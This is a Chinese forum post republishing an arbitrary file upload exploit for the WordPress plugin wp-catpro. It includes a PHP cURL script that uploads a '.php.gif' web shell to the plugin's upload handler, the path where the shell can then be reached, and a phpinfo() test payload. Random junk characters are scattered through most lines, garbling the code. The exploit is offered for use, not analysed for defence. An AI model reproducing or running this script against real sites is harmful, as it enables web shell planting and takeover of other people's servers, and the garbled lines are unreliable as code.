找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1961|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability$ v; ?. f6 h' T
#-----------------------------------------------------------------------$ ~* v! O. ]/ r; Z, ]0 D) S- @
/ O& F& B' H+ M4 @2 }
作者  => Zikou-16
; T* f4 W  g' w2 N6 y4 F! q邮箱 => zikou16x@gmail.com
5 W9 o1 b5 `6 @  j; w/ E8 z测试系统 : Windows 7 , Backtrack 5r38 H2 s1 b) E. T
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
; n/ p  [. g: f4 Y) S6 J0 y####
: ?" O" t+ O- p* L
$ V6 [# i( C( `/ v5 I#=> Exploit 信息:
" [" X3 t: ~/ o5 A3 C$ R------------------
; u/ }# k$ H: U' l3 i# L1 \# 攻击者可以上传 file/shell.php.gif
0 H" Q! O1 T' |9 h# ("jpg", "gif", "png")  // Allowed file extensions$ g; Z) t$ {- ~, D- V$ N% p
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
' s7 c. |( j* T) m- o# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)( o2 s$ ^  F( \/ r& n+ y+ ]$ u
------------------% E2 I/ v& G! V
- ~( u- z. G: }. I1 ?0 ~
#=> Exploit' g  N. k% ~1 X9 d% H
-----------
9 h/ I2 |0 r4 n# [/ D) M6 ?9 W<?php+ ^' X+ u9 e% J. N) ?$ f

9 i1 }8 d! t" B* y$uploadfile="zik.php.gif";
8 J& Z/ m1 [6 ~& F% N9 P$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");2 l5 U  x* N# y2 P- N
curl_setopt($ch, CURLOPT_POST, true);
, ~, I' f4 p# h% qcurl_setopt($ch, CURLOPT_POSTFIELDS,2 Y4 z9 i+ |/ q3 F
array('Filedata'=>"@$uploadfile",
  z" [" W! s" z; B! D8 }1 q- W'folder'=>'/wp-content/uploads/catpro/'));1 s- @$ W- C- W
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
( |. J# R" H' r  o$ H% j& }$postResult = curl_exec($ch);! @, f% i4 U( _; ]4 V
curl_close($ch);
6 ~; k! F" f# c/ } 0 Z( q( U  w$ x$ f% r, W5 L
print "$postResult";
$ \0 i3 J% C! d
( Q: u0 m& l% FShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif, n2 M. {" n7 h7 o3 A. Y* N
  ?>
, y6 Q+ L% [. p$ s$ K: R! H; b<?php
1 W# E& U3 `3 A7 L9 Uphpinfo();
3 |1 m; B: d# c. m4 j6 J% v?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表